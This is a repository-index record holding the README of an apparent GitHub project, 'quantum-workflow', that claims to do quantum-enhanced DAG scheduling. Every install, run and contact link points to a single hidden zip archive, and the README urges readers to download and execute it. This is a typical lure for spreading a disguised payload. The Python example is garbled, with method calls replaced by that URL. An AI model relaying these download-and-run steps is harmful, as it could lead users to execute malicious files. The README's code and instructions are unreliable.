{"id":27784524,"url":"https://github.com/meet-c-viradiya/quantum-workflow","last_synced_at":"2026-04-29T17:02:06.088Z","repository":{"id":290228178,"uuid":"973726437","full_name":"meet-c-viradiya/quantum-workflow","owner":"meet-c-viradiya","description":" Quantum-enhanced workflow scheduling optimizes multi-processor resource allocation using DAGs and a hybrid quantum-classical approach, visualized via advanced tools.  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This repository offers tools for optimizing multi-processor resource allocation through directed acyclic graphs (DAGs) and a hybrid quantum-classical approach. The efficient QUBO problem formulation lies at the core of our solution, ensuring that your scheduling tasks are handled effectively.\n\n## Table of Contents\n\n1. [Introduction](#introduction)\n2. [Features](#features)\n3. [Getting Started](#getting-started)\n4. [Installation](#installation)\n5. [Usage](#usage)\n6. [Example](#example)\n7. [Contributing](#contributing)\n8. [License](#license)\n9. [Contact](#contact)\n10. [Releases](#releases)\n\n## Introduction\n\nIn today's fast-paced world, efficient task scheduling is crucial. Traditional methods often struggle to keep up with complex workflows, especially when multiple processors are involved. Quantum Workflow leverages the power of quantum algorithms to provide an advanced solution for scheduling tasks. By using a hybrid approach, we combine classical and quantum computing methods to tackle the challenges of workflow optimization.\n\n## Features\n\n- **Hybrid Quantum-Classical Approach**: Seamlessly integrates classical algorithms with quantum techniques.\n- **Efficient Resource Allocation**: Optimizes multi-processor use through smart scheduling.\n- **Visual Tools**: Advanced visualization tools help you understand and manage workflows.\n- **QUBO Problem Formulation**: Ensures efficient and effective solutions to scheduling problems.\n- **Open Source**: Community-driven project with contributions welcome.\n\n## Getting Started\n\nTo get started with Quantum Workflow, follow these steps to set up your environment and run the project.\n\n### Prerequisites\n\nMake sure you have the following installed:\n\n- Python 3.7 or higher\n- Qiskit\n- Required libraries (see Installation section)\n\n### Installation\n\n1. Clone the repository:\n\n   ```bash\n   git clone https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip\n   cd quantum-workflow\n   ```\n\n2. Install the required packages:\n\n   ```bash\n   pip install -r https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip\n   ```\n\n### Usage\n\nOnce installed, you can start using Quantum Workflow for your scheduling needs. The main script is located in the `src` directory.\n\nRun the main script:\n\n```bash\npython https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip\n```\n\n### Example\n\nTo see how the Quantum Workflow can be applied, check the examples provided in the `examples` directory. Here’s a simple way to visualize a task scheduling scenario:\n\n```python\nfrom quantum_workflow import Scheduler\n\nscheduler = Scheduler()\nhttps://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip(\"Task 1\", duration=2)\nhttps://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip(\"Task 2\", duration=3)\nhttps://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip()\n```\n\nThis code snippet demonstrates how to create a scheduler, add tasks, and schedule them efficiently.\n\n## Contributing\n\nWe welcome contributions from everyone. To contribute:\n\n1. Fork the repository.\n2. Create a new branch (`git checkout -b feature-branch`).\n3. Make your changes and commit them (`git commit -m 'Add new feature'`).\n4. Push to the branch (`git push origin feature-branch`).\n5. Create a pull request.\n\nYour contributions help improve the project and make it more useful for everyone.\n\n## License\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor questions or feedback, feel free to reach out:\n\n- Email: https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip\n- GitHub: [meet-c-viradiya](https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip)\n\n## Releases\n\nTo download the latest release, visit the [Releases section](https://github.com/meet-c-viradiya/quantum-workflow/raw/refs/heads/main/package/src/utils/quantum_workflow_3.7.zip). Download the appropriate files and execute them to get started with the latest features and improvements.\n\n---\n\nThank you for checking out Quantum Workflow! We hope you find it useful for your quantum computing and scheduling needs. If you have any questions or suggestions, please reach out through the contact information provided. Happy coding!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmeet-c-viradiya%2Fquantum-workflow","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmeet-c-viradiya%2Fquantum-workflow","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmeet-c-viradiya%2Fquantum-workflow/lists"}